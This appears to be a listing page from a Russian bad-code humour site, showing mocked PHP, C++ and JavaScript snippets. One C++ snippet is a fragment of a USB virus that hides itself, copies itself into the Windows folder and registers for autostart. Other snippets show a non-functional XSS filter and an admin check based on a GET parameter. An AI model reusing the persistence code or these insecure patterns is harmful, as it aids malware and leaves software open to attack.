1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #3491

    +168

    1. 1
    2. 2
    3. 3
    <?php 
        $date=date(("Y|m|d h:i:s"),mktime(date("h"), date("i"), date("s"), date("d"), date("m"),   date("Y")));
    ?>

    sheremetat, 16 Июня 2010

    Комментарии (9)
  3. PHP / Говнокод #3440

    +168

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    function func()
      	{
    		$func = array(
    			"*3jd9asl4ksh8kl" => "Core::psUser->updateSelf",
    			"*9dkvls3kfrj54a" => "Core::psUser->setPassword",
    			"*3lso35ne9d0kek" => "Core::psUser->login",
    			"*487fj409z91dkv" => "Core::psUser->register_step1",			
    			"*ns252lo3a8ps11" => "Core::psUser->register_step2",
    			"*ale93kvnwo4pdz" => "Core::psUser->closeRequest",
    			"*ble93kv1wo4pdz" => "Core::psUser->checkEmail",
    			"*wpv48k9k2054k1" => "Core::psUser->recover",
    			"*3lsd8cjfdl3mdk" => "Core::Exchange->startExchange",
    			"*42sd9cjfd24mdk" => "Core::Exchange->startExchangeNew",
    			"*53se9cjfd35mdk" => "Core::Exchange->ExchangeStep2",
    			"*64se0cjfd46mdk" => "Core::Exchange->ExchangeStep3",
    			"*4164-4622-1270" => "Core::Exchange->dest1",
    			"*8273-7121-7643" => "Core::Exchange->dest2",
    			"*8710-4879-0216" => "Core::Exchange->dest3",
    			"*5566-0506-6230" => "Core::Exchange->dest4",
    			"*0635-1830-1345" => "Core::Exchange->dest5",
    			"*3265-0565-4871" => "Core::Exchange->dest6",
    			"*0914-1921-7194" => "Core::Exchange->dest7",
    			"*8126-3901-3136" => "Core::Exchange->dest8",
    			"*2711-0035-9992" => "Core::Exchange->dest9",
    			"*2846-4302-4032" => "Core::Exchange->dest10",
    			"*3879-1991-4154" => "Core::Exchange->dest11",
    			"*8557-5244-6506" => "Core::Exchange->dest12",
    			"*9455-7047-8778" => "Core::Exchange->dest13",
    			"*7329-2394-7939" => "Core::Exchange->dest14",
    			"*4168-0400-0156" => "Core::Exchange->dest15",
    			"*4672-6100-6653" => "Core::Exchange->dest16",
    			"*4930-5681-4263" => "Core::Exchange->dest17",
    			"*2028-3904-4406" => "Core::Exchange->dest18",
    			"*3344-7461-9263" => "Core::Exchange->dest19",
    			"*9282-3030-8891" => "Core::Exchange->dest20",
    			"*8198-3749-8009" => "Core::Exchange->dest21",
    			"*7254-2894-6243" => "Core::Exchange->dest22",
    			"*7969-8488-0540" => "Core::Exchange->dest23",
    			"*0202-7596-3531" => "Core::Exchange->dest24",
    			"*3321-4063-6580" => "Core::Exchange->dest25",
    			"*8319-8427-1264" => "Core::Exchange->dest26",
    			"*9606-3792-8045" => "Core::Exchange->dest27",
    			"*0242-6362-5886" => "Core::Exchange->dest28",
    			"*9362-4435-1538" => "Core::Exchange->dest29",
    			"*9332-4235-1337" => "Core::Exchange->dest30",
    			"*5362-2352-1350" => "Core::Exchange->dest31",
    			"*3262-4356-1670" => "Core::Exchange->dest32",
    			"*4562-4786-9440" => "Core::Exchange->dest33",
    			"*3222-3454-1430" => "Core::Exchange->dest34",
    			"*6573-3226-5683" => "Core::Exchange->dest35",
    			"*6543-9807-2573" => "Core::Exchange->dest36",
    			"*3455-7639-6268" => "Core::Exchange->dest37",
    			"*4523-6563-0978" => "Core::Exchange->dest38",
    			"*3485-7339-6298" => "Core::Exchange->dest39",
    			"*3489-8339-6238" => "Core::Exchange->dest40",
    			"*5485-9339-6295" => "Core::Exchange->dest41",
    			"*3445-7369-6248" => "Core::Exchange->dest42",
    			"*3945-7769-3248" => "Core::Exchange->dest43",
    			"*5945-7369-3568" => "Core::Exchange->dest44",
    			"*8945-7769-3868" => "Core::Exchange->dest45",
    			"*5948-1369-3578" => "Core::Exchange->dest46",			
    			"*9362-4435-1539" => "Core::Order->setStatusByUser",
    			"*9864-4532-2579" => "Core::Feedback->saveFeedback"
    		);
    		return $func;
    	}

    Передача action'а с обфускацией.

    hdkeeper, 10 Июня 2010

    Комментарии (13)
  4. C++ / Говнокод #3327

    +168

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    void __fastcall TForm1::FormCreate(TObject *Sender)
    {
    Application->ShowMainForm=false; //прячимся
    
    // Осваеваемся в новой системе
    if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V.exe") {
    //скопируемся
    CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill_USB_Flash_V.exe",true);
    //и пропишимся в автозагрузку:
    TRegistry *reg=new TRegistry;
    reg->RootKey=HKEY_LOCAL_MACHINE;
    reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
    reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");
    reg->CloseKey();
    reg->Free();
    }

    ПРЯЧИМСЯ (с) всеми извесный убиватель интернетов и "пейсатель" вирусов, которые грузятся с флэшки, бугога. Самый няшный кусочек :-) Хотя там ещё было убер заражение подключённых устройств. Судите сами господа http://3.webkill.ru/flash_virus.html

    This is obvious, 26 Мая 2010

    Комментарии (40)
  5. PHP / Говнокод #3153

    +168

    1. 1
    2. 2
    $date=date("d.m.y");
    $data=date("d.m.y");

    В header.php, который инклюдитя в каждом файле. И, что самое главное, в коде используются обе переменных!

    azzz, 04 Мая 2010

    Комментарии (21)
  6. PHP / Говнокод #3076

    +168

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    function xss_clean($str, $is_image = FALSE)//
    	{	
    		/*
    		* Is the string an array?
    		*
    		*/
    		if (is_array($str))
    		{
    			while (list($key) = each($str))
    			{
    				$str[$key] = $this->xss_clean($str[$key]);
    			}
    		}
    		return $str;
    	}

    Нашёл в одном из самописных двигов. я так и не понял где тут хсс клин:)))

    Impossible, 22 Апреля 2010

    Комментарии (32)
  7. PHP / Говнокод #2926

    +167.8

    1. 1
    2. 2
    3. 3
    if($_GET['admin']=='da'){
    	echo 'adminka_true';
    }

    А самое страшное, что писал это я...

    Armanio, 03 Апреля 2010

    Комментарии (21)
  8. PHP / Говнокод #2634

    +167.8

    1. 1
    date_in.date_ >= '".date("Y")."-".date("m")."-".date("d")."'

    кусок SQL запроса...

    Torch13, 18 Февраля 2010

    Комментарии (3)
  9. PHP / Говнокод #2534

    +167.8

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    //--------------------------------
    if ( $language == "language/german.php"     ) { echo '<a href="config/admin.php?lang=de"><img style="vertical-align:middle;" src="'.$theme.'/menu/admin.png" alt="" onmouseover="Tip(\''.$lang_menue[5].'\', OFFSETX, -20, OFFSETY, 22, OPACITY, 90, SHADOW, true, BGIMG, \'images/tooltip_bg.gif\', FADEIN, 500, FADEOUT, 400);" onmouseout="UnTip();" /></a><img style="vertical-align:middle;" src="images/pixel.gif" width="12" height="12" alt="" />'; }
    if ( $language == "language/english.php"    ) { echo '<a href="config/admin.php?lang=en"><img style="vertical-align:middle;" src="'.$theme.'/menu/admin.png" alt="" onmouseover="Tip(\''.$lang_menue[5].'\', OFFSETX, -20, OFFSETY, 22, OPACITY, 90, SHADOW, true, BGIMG, \'images/tooltip_bg.gif\', FADEIN, 500, FADEOUT, 400);" onmouseout="UnTip();" /></a><img style="vertical-align:middle;" src="images/pixel.gif" width="12" height="12" alt="" />'; }
    
    // ... ещё до$#& "языков". В сумме 15
    
    if ( $language == "language/serbian.php"    ) { echo '<a href="config/admin.php?lang=rs"><img style="vertical-align:middle;" src="'.$theme.'/menu/admin.png" alt="" onmouseover="Tip(\''.$lang_menue[5].'\', OFFSETX, -20, OFFSETY, 22, OPACITY, 90, SHADOW, true, BGIMG, \'images/tooltip_bg.gif\', FADEIN, 500, FADEOUT, 400);" onmouseout="UnTip();" /></a><img style="vertical-align:middle;" src="images/pixel.gif" width="12" height="12" alt="" />'; }
    if ( $language == "language/finnish.php"    ) { echo '<a href="config/admin.php?lang=fi"><img style="vertical-align:middle;" src="'.$theme.'/menu/admin.png" alt="" onmouseover="Tip(\''.$lang_menue[5].'\', OFFSETX, -20, OFFSETY, 22, OPACITY, 90, SHADOW, true, BGIMG, \'images/tooltip_bg.gif\', FADEIN, 500, FADEOUT, 400);" onmouseout="UnTip();" /></a><img style="vertical-align:middle;" src="images/pixel.gif" width="12" height="12" alt="" />'; }
               //--------------------------------

    С того же говнодвижка PHP Web Stat

    vov4ik, 03 Февраля 2010

    Комментарии (3)
  10. PHP / Говнокод #2275

    +167.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    function returnDate($stamp){
    global $settings;
    $day = strftime("%d",$stamp+($settings['timeoffset']*3600));
    $month = strftime("%m",$stamp+($settings['timeoffset']*3600));
    $year = strftime("%Y",$stamp+($settings['timeoffset']*3600));
    switch ($month){
    case 01 : $month = "01"; break;
    case 02 : $month = "02"; break;
    case 03 : $month = "03"; break;
    case 04 : $month = "04"; break;
    case 05 : $month = "05"; break;
    case 06 : $month = "06"; break;
    case 07 : $month = "07"; break;
    case 08 : $month = "08"; break;
    case 09 : $month = "09"; break;
    case 10 : $month = "10"; break;
    case 11 : $month = "11"; break;
    case 12 : $month = "12"; break;
    }
    return "$day.$month.$year";
    }

    Взято из чешского шаблона под одну цмску. Автору, наверно, платят как Маяковскому - за каждую строчку :-)

    |)3F, 13 Декабря 2009

    Комментарии (27)
  11. JavaScript / Говнокод #1988

    +167.8

    1. 1
    a||!a

    ...

    Infamous, 16 Октября 2009

    Комментарии (17)